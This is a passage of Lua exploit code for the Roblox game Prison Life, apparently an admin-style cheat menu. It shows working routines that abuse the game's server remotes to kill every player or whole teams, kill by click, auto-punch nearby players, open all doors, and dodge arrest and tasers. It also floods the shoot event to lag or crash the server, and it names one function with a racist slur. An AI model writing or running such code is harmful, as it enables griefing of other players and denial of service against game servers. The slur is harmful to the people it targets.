if Target.Character:FindFirstChildOfClass("Humanoid").Health >1 and not Failed then
829
API:KillPlayer(Target,true)
830
end
831
end)
832
end)()
833
if CurrentTeam and not Player.Team == CurrentTeam and not DoChange then
834
wait(.3)
835
API:ChangeTeam(CurrentTeam,true)
836
end
837
end
838
function API:GetGun(Item, Ignore)
839
task.spawn(function()
840
workspace:FindFirstChild("Remote")['ItemHandler']:InvokeServer({
841
Position = Player.Character.Head.Position,
842
Parent = workspace.Prison_ITEMS:FindFirstChild(Item, true)
843
})
844
end)
845
end
846
function API:CreateKillPart()
847
if Temp.KillPart then
848
pcall(function()
849
Temp.KillPart:Destroy()
850
end)
851
Temp.KillPart = nil
852
end
853
local Part = Instance.new("Part",plr.Character)
854
local hilight = Instance.new("Highlight",Part)
855
hilight.FillTransparency = 1
856
857
Part.Anchored = true
858
Part.CanCollide = false
859
Part.CanTouch = false
860
Part.Material = Enum.Material.SmoothPlastic
861
Part.Transparency = .98
862
Part.Material = Enum.Material.SmoothPlastic
863
Part.BrickColor = BrickColor.White()
864
Part.Size = Vector3.new(20,2,20)
865
Part.Name = "KillAura"
866
Temp.KillPart = Part
867
end
868
function API:MKILL(target,STOP,P)
869
if target == plr or target == plr.Name then
870
return
871
end
872
if typeof(target):lower() == "string" and game:GetService("Players"):FindFirstChild(target) then
873
target = game:GetService("Players"):FindFirstChild(target)
874
end
875
if not STOP then STOP =1 end
876
if not target or not target.Character or not target.Character:FindFirstChild("Humanoid") or target.Character:FindFirstChildOfClass("ForceField") or target.Character:FindFirstChild("Humanoid").Health<1 or not plr.Character or not plr.Character:FindFirstChildOfClass("Humanoid") or not plr.Character:FindFirstChild("HumanoidRootPart") then
877
return
878
end
879
API:UnSit()
880
local saved = API:GetPosition()
881
if not P then P = saved else saved = P end
882
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = target.Character:FindFirstChild("Head").CFrame
883
wait(.2)
884
for i =1,10 do
885
task.spawn(function()
886
game.ReplicatedStorage["meleeEvent"]:FireServer(target)
887
end)
888
end
889
wait(.1)
890
if target and target.Character and target.Character:FindFirstChild("Humanoid") and target.Character:FindFirstChild("Humanoid").Health >1 and STOP ~=3 then
891
API:MKILL(target,STOP+1,P)
892
return
893
end
894
API:MoveTo(saved)
895
end
896
function API:killall(TeamToKill)
897
if not TeamToKill then
898
local LastTeam = Player.Team
899
local BulletTable = {}
900
if Player.Team ~= game.Teams.Criminals then
901
API:ChangeTeam(game.Teams.Criminals,true)
902
end
903
API:GetGun("Remington 870")
904
local Gun = Player.Backpack:FindFirstChild("Remington 870") or Player.Character:FindFirstChild("Remington 870")
905
repeat API:swait() Gun = Player.Backpack:FindFirstChild("Remington 870") or Player.Character:FindFirstChild("Remington 870") until Gun
906
907
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
908
if v and v~=Player and v.Team == game.Teams.Inmates or v.Team == game.Teams.Guards and not table.find(API.Whitelisted,v) then
909
for i =1,15 do
910
BulletTable[#BulletTable + 1] = {
911
["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
912
["Hit"] = v.Character:FindFirstChild("Head") or v.Character:FindFirstChildOfClass("Part"),
913
}
914
end
915
end
916
end
917
task.spawn(function()
918
game:GetService("ReplicatedStorage").ShootEvent:FireServer(BulletTable, Gun)
919
end)
920
API:ChangeTeam(game.Teams.Inmates,true)
921
API:GetGun("Remington 870")
922
repeat API:swait() Gun = Player.Backpack:FindFirstChild("Remington 870") or Player.Character:FindFirstChild("Remington 870") until Gun
923
local Gun = Player.Backpack:FindFirstChild("Remington 870") or Player.Character:FindFirstChild("Remington 870")
924
for i,v in pairs(game.Teams.Criminals:GetPlayers()) do
925
if v and v~=Player and not table.find(API.Whitelisted,v) then
926
for i =1,15 do
927
BulletTable[#BulletTable + 1] = {
928
["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
929
["Hit"] = v.Character:FindFirstChild("Head") or v.Character:FindFirstChildOfClass("Part"),
930
}
931
end
932
end
933
end
934
task.spawn(function()
935
game:GetService("ReplicatedStorage").ShootEvent:FireServer(BulletTable, Gun)
936
end)
937
if LastTeam ~= game.Teams.Inmates then
938
API:ChangeTeam(LastTeam,true)
939
end
940
elseif TeamToKill then
941
if TeamToKill == game.Teams.Inmates or TeamToKill == game.Teams.Guards then
942
if Player.Team ~= game.Teams.Criminals then
943
API:ChangeTeam(game.Teams.Criminals)
944
end
945
elseif TeamToKill == game.Teams.Criminals then
946
if Player.Team ~= game.Teams.Inmates then
947
API:ChangeTeam(game.Teams.Inmates)
948
end
949
end
950
local BulletTable = {}
951
for i,v in pairs(TeamToKill:GetPlayers()) do
952
if v and v~=Player and not table.find(API.Whitelisted,v) then
953
for i =1,15 do
954
BulletTable[#BulletTable + 1] = {
955
["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
956
["Hit"] = v.Character:FindFirstChild("Head") or v.Character:FindFirstChildOfClass("Part"),
957
}
958
end
959
end
960
end
961
wait(.4)
962
API:GetGun("M9")
963
local Gun = Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
964
repeat task.wait() Gun = Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9") until Gun
965
966
task.spawn(function()
967
game:GetService("ReplicatedStorage").ShootEvent:FireServer(BulletTable, Gun)
968
end)
969
end
970
end
971
function API:GuardsFull(a)
972
if #game:GetService("Teams").Guards:GetPlayers()==8 then
973
if a then
974
if Player.Team == game.Teams.Guards then
975
return false
976
end
977
end
978
return false
979
end
980
return true
981
end
982
function API:AllGuns()
983
local saved = game:GetService("Players").LocalPlayer.Character:GetPrimaryPartCFrame()
984
if game:GetService("MarketplaceService"):UserOwnsGamePassAsync(plr.UserId, 96651) then
985
API:GetGun("M4A1", true)
986
end
987
API:GetGun("AK-47", true)
988
task.spawn(function()
989
API:GetGun("Remington 870", true)
990
end)
991
API:GetGun("M9", true)
992
game:GetService("Players").LocalPlayer.Character:SetPrimaryPartCFrame(saved)
993
end
994
function API:GetHumanoid()
995
return plr.Character:FindFirstChildOfClass("Humanoid")
996
end
997
998
function API:touch(Toucher, TouchThis)
999
if not Toucher or not TouchThis then
1000
return
1001
end
1002
task.spawn(function()
1003
firetouchinterest(Toucher, TouchThis, 0)
1004
firetouchinterest(Toucher, TouchThis, 1)
1005
end)
1006
end
1007
function AntiPunchC(v2)
1008
if States.antipunch == false then
1009
return
1010
end
1011
pcall(function()
1012
if v2 == plr then
1013
return
1014
end
1015
v2.Character:FindFirstChildOfClass("Humanoid").AnimationPlayed:Connect(function(animationTrack)
1016
pcall(function()
1017
if not Unloaded and States.antipunch then
1018
if animationTrack.Animation.AnimationId == "rbxassetid://484200742" or animationTrack.Animation.AnimationId =="rbxassetid://484926359" then
1019
if (plr.Character.HumanoidRootPart.Position-v2.Character.HumanoidRootPart.Position).magnitude <3.5 and States.antipunch and not table.find(API.Whitelisted,v2) then
1020
for i =1,13 do
1021
task.spawn(function()
1022
game.ReplicatedStorage["meleeEvent"]:FireServer(v2)
1023
end)
1024
end
1025
end
1026
end
1027
end
1028
end)
1029
end)
1030
end)
1031
end
1032
local Flying = false
1033
function API:Fly(speed)
1034
Flying = true
1035
local Controler = require(game:GetService("Players").LocalPlayer.PlayerScripts:WaitForChild('PlayerModule'):WaitForChild("ControlModule"))
1036
local BodyA,BodyB = Instance.new("BodyVelocity"),Instance.new("BodyGyro")
1037
BodyA.Parent = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
1038
BodyA.MaxForce = Vector3.new(0,0,0)
1039
BodyA.Velocity = Vector3.new(0,0,0)
1040
BodyB.Parent = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
1041
BodyB.MaxTorque = Vector3.new(4^234,4^234,4^234)
1042
BodyB.P = 10000
1043
BodyB.D = 50
1044
Temp.FlyA = BodyA
1045
Temp.FlyB = BodyB
1046
local camera = game.Workspace.CurrentCamera
1047
Temp.FlyConnection = game:GetService"RunService".RenderStepped:Connect(function()
1048
if game:GetService("Players").LocalPlayer.Character and game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Health >0 and BodyA and BodyB then
1049
local direction = Controler:GetMoveVector()
1050
BodyA.MaxForce = Vector3.new(4^234,4^234,4^234)
1051
BodyB.MaxTorque = Vector3.new(4^234,4^234,4^234)
1052
BodyB.CFrame = camera.CoordinateFrame
1053
BodyA.Velocity = Vector3.new()
1054
if direction.X > 0 then
1055
BodyA.Velocity = BodyA.Velocity + camera.CFrame.RightVector*(direction.X*(speed*10))
1056
end
1057
if direction.X < 0 then
1058
BodyA.Velocity = BodyA.Velocity + camera.CFrame.RightVector*(direction.X*(speed*10))
1059
end
1060
if direction.Z > 0 then
1061
BodyA.Velocity = BodyA.Velocity - camera.CFrame.LookVector*(direction.Z*(speed*10))
1062
end
1063
if direction.Z < 0 then
1064
BodyA.Velocity = BodyA.Velocity - camera.CFrame.LookVector*(direction.Z*(speed*10))
1065
end
1066
end
1067
end)
1068
end
1069
function API:Unfly()
1070
if Flying then
1071
Flying = false
1072
API:Destroy(Temp.FlyA)
1073
API:Destroy(Temp.FlyB)
1074
Temp.FlyConnection:Disconnect()
1075
API:Refresh(true)
1076
end
1077
end
1078
function API:lag()
1079
API:Notif("Lagging the server...")
1080
local Bullets = API:CreateBulletTable(10, nil, true)
1081
if API:GuardsFull() then
1082
API:GetGun("M9")
1083
else
1084
API:ChangeTeam(game.Teams.Guards)
1085
end
1086
repeat
1087
task.wait()
1088
until Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
1089
game:GetService("ReplicatedStorage").ReloadEvent:FireServer(Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9"))
1090
for i = 1,40 do
1091
local Gun = Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
1092
if not Gun or not API:GetHumanoid() or API:GetHumanoid() and API:GetHumanoid().Health < 1 then
1093
task.wait(4)--//Ping cool down
1094
API:lag()
1095
break
1096
end
1097
coroutine.wrap(function()
1098
game:GetService("ReplicatedStorage").ShootEvent:FireServer({}, Gun)
1099
end)()
1100
coroutine.wrap(function()
1101
game:GetService("ReplicatedStorage").ReloadEvent:FireServer(Gun)
1102
end)()
1103
end
1104
end
1105
1106
function API:CrashServer()
1107
if not PremiumActivated then
1108
return
1109
end
1110
API:Notif("Attempting to crash the server...")
1111
local Bullets = API:CreateBulletTable(40, nil, true)
1112
if API:GuardsFull() then
1113
API:GetGun("M9")
1114
else
1115
API:ChangeTeam(game.Teams.Guards)
1116
end
1117
repeat
1118
task.wait()
1119
until Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
1120
game:GetService("ReplicatedStorage").ReloadEvent:FireServer(Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9"))
1121
local Gun = Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
1122
task.spawn(function()
1123
for i = 1,5000 do
1124
game:GetService("ReplicatedStorage").ShootEvent:FireServer({}, Gun)
1125
end
1126
end)
1127
while wait() do
1128
if not Gun or not API:GetHumanoid() or API:GetHumanoid() and API:GetHumanoid().Health < 1 then
1129
task.wait(5)--//Ping cool down
1130
API:CrashServer()
1131
break
1132
end
1133
end
1134
end
1135
function API:Destroy(v)
1136
v:Destroy()
1137
pcall(function()
1138
v:Remove()
1139
end)
1140
end
1141
function API:BadArea(Player)
1142
local mod = require(game.ReplicatedStorage["Modules_client"]["RegionModule_client"])
1143
local a = pcall(function()
1144
if mod.findRegion(Player.Character) then
1145
mod = mod.findRegion(Player.Character)["Name"]
1146
end
1147
end)
1148
if not a then
1149
return
1150
end
1151
for i, v in pairs(game:GetService("ReplicatedStorage").PermittedRegions:GetChildren()) do
1152
if v and mod == v.Value then
1153
return false
1154
end
1155
end
1156
return true
1157
end
1158
1159
1160
plr.CharacterAdded:Connect(function(NewCharacter)
1161
if Unloaded then
1162
return
1163
end
1164
task.spawn(function()
1165
if States.AutoItems then
1166
wait(.5)
1167
API:AllGuns()
1168
end
1169
end)
1170
repeat API:swait() until NewCharacter
1171
NewCharacter:WaitForChild("HumanoidRootPart")
1172
NewCharacter:WaitForChild("Head")
1173
NewCharacter:WaitForChild("Humanoid").BreakJointsOnDeath = not States.AutoRespawn
1174
NewCharacter:WaitForChild("Humanoid").Died:Connect(function()
1175
if not Unloaded and States.AutoRespawn == true then
1176
API:Refresh()
1177
task.spawn(function()
1178
if States.AutoItems then
1179
wait(.5)
1180
API:AllGuns()
1181
end
1182
end)
1183
end
1184
end)
1185
if Temp.ArrestOldP and States.AntiArrest then
1186
coroutine.wrap(function()
1187
API:MoveTo(Temp.ArrestOldP)
1188
Temp.ArrestOldP = nil
1189
end)()
1190
end
1191
task.spawn(function()
1192
if States.AntiArrest then
1193
plr.Character:FindFirstChild("Head").ChildAdded:Connect(function(a)
1194
if not Unloaded then
1195
if a and a:IsA("BillboardGui") and States.AntiArrest then
1196
API:Refresh()
1197
coroutine.wrap(function()
1198
wait(1)
1199
Temp.ArrestOldP = API:GetPosition()
1200
end)()
1201
end
1202
end
1203
end)
1204
end
1205
end)
1206
if States.AntiTase then
1207
for i,v in pairs(getconnections(workspace:WaitForChild("Remote").tazePlayer.OnClientEvent)) do
1208
v:Disable()
1209
end
1210
end
1211
end)
1212
API:Refresh(true)
1213
local Killcool1 = false
1214
plr:GetMouse().Button1Up:Connect(function()
1215
local Target = plr:GetMouse().Target
1216
if Killcool1 then return end
1217
if States.ClickArrest or States.ClickKill then
1218
if Target and Target.Parent and Target.Parent:FindFirstChildOfClass("Humanoid") and game:GetService("Players"):FindFirstChild(Target.Parent.Name) or game:GetService("Players"):FindFirstChild(Target.Parent.Parent.Name) then
1219
local TargetModelPlr = game:GetService("Players"):FindFirstChild(Target.Parent.Name) or game:GetService("Players"):FindFirstChild(Target.Parent.Parent.Name)
1220
if States.ClickArrest then
1221
if TargetModelPlr.Team ~= game:GetService("Teams").Guards then
1222
local ohInstance1 = Target
1223
workspace.Remote.arrest:InvokeServer(ohInstance1)
1224
end
1225
end
1226
if States.ClickKill then
1227
API:KillPlayer(TargetModelPlr)
1228
Killcool1 = true
1229
wait(.6)
1230
Killcool1 = false
1231
end
1232
end
1233
end
1234
end)
1235
local ChangeState = function(Type,StateType)
1236
local Value = nil
1237
if Type and typeof(Type):lower() == "string" and (Type):lower() == "on" then
1238
Value = true
1239
elseif Type and typeof(Type):lower() == "string" and (Type):lower() == "off" then
1240
Value = false
1241
elseif typeof(Type):lower() == "boolean" then
1242
Value = Type
1243
else
1244
Value = not States[StateType]
1245
end
1246
States[StateType] = Value
1247
API:Notif(StateType.." has been changed to "..tostring(Value))
1248
return Value
1249
end
1250
do
1251
if PremiumActivated then
1252
API:CreateCmd("removecars", "deletes all cars that are not seated", function(args)
1253
local Old = API:GetPosition()
1254
for i,v in pairs(game:GetService("Workspace").CarContainer:GetChildren()) do
1255
if v then
1256
repeat task.wait() until Player.Character:FindFirstChildOfClass("Humanoid").Health >1
1257
1258
local car = v
1259
if car:FindFirstChild("RWD")and car:FindFirstChild("Body") and car:FindFirstChild("Body"):FindFirstChild("VehicleSeat").Occupant == nil then
1260
local Seat = car.Body.VehicleSeat
1261
car.PrimaryPart = car.RWD
1262
repeat wait()
1263
Seat:Sit(Player.Character:FindFirstChildOfClass("Humanoid"))
1264
until Player.Character:FindFirstChildOfClass("Humanoid").Sit == true
1265
for i =1,5 do
1266
wait()
1267
car:SetPrimaryPartCFrame(CFrame.new(3^5,workspace.FallenPartsDestroyHeight+5,23453225))
1268
end
1269
wait(.1)
1270
API:UnSit()
1271
end
1272
end
1273
end
1274
API:MoveTo(Old)
1275
end,nil,nil,true)
1276
API:CreateCmd("lag", "lags the server", function(args)
1277
API:lag()
1278
end,nil,nil,true)
1279
API:CreateCmd("kick", "!KICKS TIGER ADMIN USERS ONLY! SAY IN CHAT", function(args)
1280
end,nil,"[TIGER ADMIN USER]",true)
1281
API:CreateCmd("prefix", "Sets a different prefix", function(args)
1282
local New = args[2]
1283
if New and tostring(New) then
1284
local Prefixn = tostring(New)
1285
Settings.Prefix = Prefixn
1286
API:Notif("prefix set to "..New)
1287
else
1288
API:Notif("no prefix selected?",false)
1289
end
1290
end,nil,"[NEW PREFIX]",true)
1291
API:CreateCmd("unadmin", "Unadmins a player", function(args)
1292
local Target = API:FindPlayer(args[2])
1293
if Target then
1294
if table.find(Temp.Admins,Target.Name) then
1295
table.remove(Temp.Admins,table.find(Temp.Admins,Target.Name))
1296
else
1297
API:Notif("This player is not an admin!",false)
1298
end
1299
end
1300
end,nil,nil,true)
1301
API:CreateCmd("pp", "sus", function(args)
1302
API:AllGuns()
1303
wait(1)
1304
for i,v in pairs(Player.Character:GetChildren()) do
1305
if v:IsA("Tool") then
1306
v.Parent = Player.Backpack
1307
end
1308
end
1309
Player.Backpack.M9.Parent = Player.Character
1310
Player.Backpack["AK-47"].Parent = Player.Character
1311
Player.Backpack["Remington 870"].Parent = Player.Character
1312
wait()
1313
Player.Character.M9.GripPos = Vector3.new(0.9, 2, 0)
1314
Player.Character["Remington 870"].GripPos = Vector3.new(0.9, 2, 2.1)
1315
Player.Character["AK-47"].GripPos = Vector3.new(0.9, 2, 6.4)
1316
wait()
1317
for i,v in pairs(Player.Character:GetChildren()) do
1318
if v:IsA("Tool") then
1319
v.Parent = Player.Backpack
1320
end
1321
end
1322
wait()
1323
Player.Backpack.M9.Parent = Player.Character
1324
Player.Backpack["AK-47"].Parent = Player.Character
1325
Player.Backpack["Remington 870"].Parent = Player.Character
1326
end,nil,nil,true)
1327
API:CreateCmd("jeff", "Jeff the killer npc (rejoin to disable)", function(args)
1328
task.spawn(function()
1329
local player = game.Players.LocalPlayer
1330
local anim = nil
1331
local anim2 = nil
1332
function blackpeople()
1333
repeat
1334
wait()
1335
workspace.Remote.ItemHandler:InvokeServer({Position=player.Character.Head.Position,Parent=workspace.Prison_ITEMS.single["Crude Knife"]})
1336
until player.Backpack:FindFirstChild("Crude Knife")
1337
local crude = player.Backpack:WaitForChild("Crude Knife")
1338
crude.Parent = player.Character
1339
local anim = Instance.new("Animation")
1340
local anim2 = anim:Clone()
1341
anim.AnimationId = "rbxassetid://252557606"
1342
anim2.AnimationId = crude:WaitForChild("Handle"):WaitForChild("Animation").AnimationId
1343
anim = player.Character.Humanoid:LoadAnimation(anim)
1344
anim2 = player.Character.Humanoid:LoadAnimation(anim2)
1345
anim:Play()
1346
anim.Looped = true
1347
end
1348
blackpeople()
1349
player.CharacterAdded:Connect(function(a)
1350
a:WaitForChild("HumanoidRootPart")
1351
blackpeople()
1352
end)
1353
task.spawn(function()
1354
local function findNearestPlayer(Position)
1355
wait(0.3)
1356
local List = game.Workspace:children()
1357
local Torso = nil
1358
local Distance = 30
1359
local Temp = nil
1360
local Human = nil
1361
local Temp2 = nil
1362
for x = 1, #List do
1363
Temp2 = List[x]
1364
if (Temp2.className == "Model") and (Temp2 ~= player.Character) then
1365
Temp = Temp2:findFirstChild("HumanoidRootPart")
1366
Human = Temp2:findFirstChild("Humanoid")
1367
if (Temp ~= nil) and (Human ~= nil) and (Human.Health > 0) then
1368
if (Temp.Position - Position).magnitude < Distance then
1369
Torso = Temp
1370
Distance = (Temp.Position - Position).magnitude
1371
end
1372
end
1373
end
1374
end
1375
return Torso
1376
end
1377
task.spawn(function()
1378
while wait(math.random(3,5)) do
1379
pcall(function()
1380
player.Character:FindFirstChildOfClass("Humanoid").Jump = true
1381
end)
1382
end
1383
end)
1384
while true do
1385
task.wait()
1386
pcall(function()
1387
game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):SetStateEnabled(Enum.HumanoidStateType.Seated, true)
1388
player.Character.Humanoid.WalkSpeed = 25
1389
local target = findNearestPlayer(player.Character.HumanoidRootPart.Position)
1390
if target ~= nil then
1391
player.Character.Humanoid:MoveTo(target.Position, target)
1392
if (target.Position - player.Character.Head.Position).magnitude < 5 then
1393
if anim2 then
1394
anim2:Play()
1395
anim2.Priority = Enum.AnimationPriority.Action4
1396
end
1397
for i = 1,3 do game.ReplicatedStorage.meleeEvent:FireServer(game.Players[target.Parent.Name]) end
1398
end
1399
else
1400
wait(math.random(2,3))
1401
local new = player.Character:GetPrimaryPartCFrame()
1402
new = new *CFrame.new(math.random(4,17),0,math.random(4,24)).Position
1403
player.Character.Humanoid:MoveTo(new)
1404
end
1405
end)
1406
end
1407
end)
1408
end)
1409
end,nil,nil,true)
1410
API:CreateCmd("opendoors", "Opens every single door", function(args)
1411
if not firetouchinterest then
1412
return API:Notif("Your exploit doesnt support this command!",false)
1413
end
1414
local LastTeam =plr.Team
1415
API:ChangeTeam(game.Teams.Guards)
1416
wait(.7)
1417
task.spawn(function()
1418
local Arg_1 = game:GetService("Workspace")["Prison_ITEMS"].buttons["Prison Gate"]["Prison Gate"]
1419
local Event = game:GetService("Workspace").Remote.ItemHandler
1420
Event:InvokeServer(Arg_1)
1421
end)
1422
for i,v in pairs(game:GetService("Workspace").Doors:GetChildren()) do
1423
if v then
1424
if v:FindFirstChild("block") and v:FindFirstChild("block"):FindFirstChild("hitbox") then
1425
firetouchinterest(Player.Character.HumanoidRootPart,v.block.hitbox,0)
1426
firetouchinterest(Player.Character.HumanoidRootPart,v.block.hitbox,1)
1427
end
1428
end
1429
end
1430
wait(1)
1431
API:ChangeTeam(LastTeam)
1432
end,nil,nil,true)
1433
API:CreateCmd("loopopendoors", "Opens every single door on loop", function(args)
1434
local value = ChangeState(args[2],"loopopendoors")
1435
if value then
1436
while wait(2.4) do
1437
if not States.loopopendoors then
1438
break
1439
end
1440
if not firetouchinterest then
1441
return API:Notif("Your exploit doesnt support this command!",false)
1442
end
1443
local LastTeam =plr.Team
1444
API:ChangeTeam(game.Teams.Guards)
1445
wait(.7)
1446
task.spawn(function()
1447
local Arg_1 = game:GetService("Workspace")["Prison_ITEMS"].buttons["Prison Gate"]["Prison Gate"]
1448
local Event = game:GetService("Workspace").Remote.ItemHandler
1449
Event:InvokeServer(Arg_1)
1450
end)
1451
for i,v in pairs(game:GetService("Workspace").Doors:GetChildren()) do
1452
if v then
1453
if v:FindFirstChild("block") and v:FindFirstChild("block"):FindFirstChild("hitbox") then
1454
if not States.loopopendoors then
1455
break
1456
end
1457
firetouchinterest(Player.Character.HumanoidRootPart,v.block.hitbox,0)
1458
firetouchinterest(Player.Character.HumanoidRootPart,v.block.hitbox,1)
1459
end
1460
end
1461
end
1462
if not States.loopopendoors then
1463
break
1464
end
1465
wait(1)
1466
API:ChangeTeam(LastTeam)
1467
end
1468
end
1469
end,nil,nil,true)
1470
1471
API:CreateCmd("grabknife", "Cool script [REJOIN TO STOP]", function(args)
1472
task.spawn(function()
1473
workspace.Remote.ItemHandler:InvokeServer({Position=game:GetService("Players").LocalPlayer.Character.Head.Position,Parent=workspace.Prison_ITEMS.single["Crude Knife"]})
1474
repeat task.wait() until game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Crude Knife")
1475
game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Crude Knife").Parent = game:GetService("Players").LocalPlayer.Character
1476
local Player = game:GetService("Players").LocalPlayer
1477
local Character = Player.Character
1478
local Crude = Player.Backpack:FindFirstChild("Crude Knife") or Player.Character:FindFirstChild("Crude Knife")
1479
local OldPosition = Crude.Grip
1480
local PlayingAnimations = {}
1481
local Target = nil
1482
Player.CharacterAdded:Connect(function(a)
1483
a:WaitForChild("Humanoid")
1484
Character = a
1485
wait(.7)
1486
workspace.Remote.ItemHandler:InvokeServer({Position=game:GetService("Players").LocalPlayer.Character.Head.Position,Parent=workspace.Prison_ITEMS.single["Crude Knife"]})
1487
repeat task.wait() until game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Crude Knife")
1488
game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Crude Knife").Parent = game:GetService("Players").LocalPlayer.Character
1489
Crude= Player.Backpack:FindFirstChild("Crude Knife") or Player.Character:FindFirstChild("Crude Knife")
1490
Crude.Equipped:connect(function()
1491
task.wait(0.4)
1492
for _,Animation in pairs(Character.Humanoid:GetPlayingAnimationTracks()) do
1493
if string.find(Animation.Animation.AnimationId, "182393478") then
1494
Animation:Stop()
1495
end
1496
end
1497
end)
1498
end)
1499
local Mouse = Player:GetMouse()
1500
local function StopAnimations()
1501
for i,v in pairs(PlayingAnimations) do
1502
if v then
1503
v:Stop()
1504
end
1505
end
1506
end
1507
local function SetPos(New,New2,IsSlashing)
1508
Crude.Parent = Player.Backpack
1509
Crude.Grip = New2
1510
Crude.Grip *= New
1511
Crude.Parent = Player.Character
1512
if IsSlashing then
1513
task.spawn(function()
1514
game:GetService("ReplicatedStorage").meleeEvent:FireServer(Target)
1515
end)
1516
end
1517
end
1518
local function Idle()
1519
StopAnimations()
1520
Crude.Parent = Player.Backpack
1521
Crude.Grip = OldPosition
1522
Crude.Parent = Player.Character
1523
end
1524
Crude.Equipped:connect(function()
1525
task.wait(0.4)
1526
for _,Animation in pairs(Character.Humanoid:GetPlayingAnimationTracks()) do
1527
if string.find(Animation.Animation.AnimationId, "182393478") then
1528
Animation:Stop()
1529
end
1530
end
1531
end)
1532
local function Holding()
1533
local a = Instance.new("Animation")
1534
a.AnimationId = "rbxassetid://175676962"
1535
a = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(a)
1536
a:Play()
1537
a:AdjustSpeed(0)
1538
table.insert(PlayingAnimations, a)
1539
SetPos(CFrame.new(1.4,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
1540
end
1541
local function Slash()
1542
StopAnimations()
1543
local a = Instance.new("Animation")
1544
a.AnimationId = "rbxassetid://175676962"
1545
a = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(a)
1546
a:Play()
1547
a:AdjustSpeed(0)
1548
table.insert(PlayingAnimations, a)
1549
SetPos(CFrame.new(1.4,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1550
task.wait()
1551
SetPos(CFrame.new(1.3,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
1552
task.wait()
1553
SetPos(CFrame.new(1.2,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
1554
task.wait()
1555
SetPos(CFrame.new(1.1,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
1556
task.wait()
1557
SetPos(CFrame.new(1,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
1558
task.wait()
1559
SetPos(CFrame.new(0.9,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1560
task.wait()
1561
SetPos(CFrame.new(0.8,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
1562
task.wait()
1563
SetPos(CFrame.new(0.7,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1564
task.wait()
1565
SetPos(CFrame.new(0.6,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
1566
task.wait()
1567
SetPos(CFrame.new(0.5,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1568
task.wait()
1569
SetPos(CFrame.new(0.4,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1570
task.wait()
1571
SetPos(CFrame.new(0.3,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
1572
task.wait()
1573
SetPos(CFrame.new(0.1,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1574
task.wait()
1575
SetPos(CFrame.new(0,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1576
task.wait()
1577
SetPos(CFrame.new(-.1,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1578
task.wait()
1579
SetPos(CFrame.new(-.2,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
1580
task.wait()
1581
SetPos(CFrame.new(-.3,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1582
task.wait()
1583
SetPos(CFrame.new(-.4,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)))
1584
task.wait()
1585
SetPos(CFrame.new(-.5,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1586
task.wait()
1587
SetPos(CFrame.new(-.6,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1588
task.wait()
1589
SetPos(CFrame.new(-.7,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1590
task.wait()
1591
SetPos(CFrame.new(-.8,-2.1,0.5),CFrame.new(1.5,0,0)*CFrame.Angles(0, 0, math.rad(-90)),true)
1592
task.wait()
1593
wait(.5)
1594
StopAnimations()
1595
Idle()
1596
end
1597
Mouse.Button1Up:Connect(function()
1598
if not Target then
1599
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
1600
if v and v~=Player then
1601
if (Character:GetPrimaryPartCFrame().Position-v.Character:GetPrimaryPartCFrame().Position).Magnitude <10 and v.Character:FindFirstChildOfClass("Humanoid").Health>1 then
1602
if not Target then
1603
Target = v
1604
Holding()
1605
break
1606
end
1607
end
